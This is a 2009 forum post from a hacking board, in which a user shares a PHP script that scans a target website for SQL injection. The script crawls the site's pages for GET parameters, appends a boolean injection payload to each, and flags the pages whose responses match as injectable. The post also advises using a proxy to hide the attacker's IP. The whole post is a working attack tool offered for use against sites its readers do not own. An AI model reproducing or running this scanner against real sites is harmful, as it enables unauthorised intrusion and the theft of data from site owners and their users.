All that is necessary for evil to succeed is that good people do nothing! Support Act for America

SQL Injection Scanner - PHP - - Anarchist Cookbook
Anarchist Cookbook  

Go Back   Anarchist Cookbook > Anarchist Cookbook > Hacking > Programming
Connect with Facebook

Programming Got code?

Reply
 
Thread Tools Search this Thread Display Modes
Old June 7th, 2009   #1
Blood
Member
Points: 610, Level: 9
Points: 610, Level: 9 Points: 610, Level: 9 Points: 610, Level: 9
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
Blood's Avatar
 

Last Online: 3 Weeks Ago 01:18 AM
Join Date: May 2009
Posts: 66
Cash Credits: 1,792
Blood RSS Feed
SQL Injection Scanner - PHP -

<?php

#PHP SQL Injection Scanner.
#BTW: IP = Fail Proxy = Win.

$http = '';

if($http == '')
die("Http is empty!\n\n<b>So go suck a dick skid.</b>\n# ");

echo "Scan for : <b>$http</b> \n\n";

$http = (substr($http, -1) != '/') ? $http.'/' : $http;
$found = getGet();

function getGet()
{
global $http;

$getN = array();
$fenN = array();

$htm = @file_get_contents($http);
@preg_match_all('/((\/[a-zA-Z0-9]+\/)|)([a-zA-Z0-9]+\.[a-zA-Z0-9]+\?)([a-zA-Z0-9]+)(\s*\=)([a-zA-Z0-9]+)/im', $htm, $gets);

foreach($gets[0] as $get)
{
$get = str_replace($http, '', $get);

if(!in_array($get, $getN))
{
@preg_match_all('/(.*)(\?)/', $get, $gn);
$name = str_replace('?', '', $gn[1][0]);

if(!@in_array($name, $fenN) && @in_array(substr(strrchr($name, "."), 1), array('php', 'asp', 'aspx'))){
$getN[] = $get;
$fenN[] = $name;
}
}
}
return $getN;
}

foreach($found as $get)
{
$address = $http.$get;

$htm1 = @file_get_contents($address);
$htm2 = @file_get_contents($address.'%20and%20\'a\'%20=%20 \'a\'');

if($htm1 == $htm2)
echo $get." <b><font color=\"#1B9B1B\">SQL injection!</font></b> \n";
else
echo $get." <b><font color=\"#D80404\">Failed!</font></b> \n";

}

echo "\n\n<b>What a useless thing.</b>\n";

?>
Blood is offline   Reply With Quote
Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump


All times are GMT -5. The time now is 03:36 AM.


Powered by Anarchy and vBulletin® Version 3.7.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios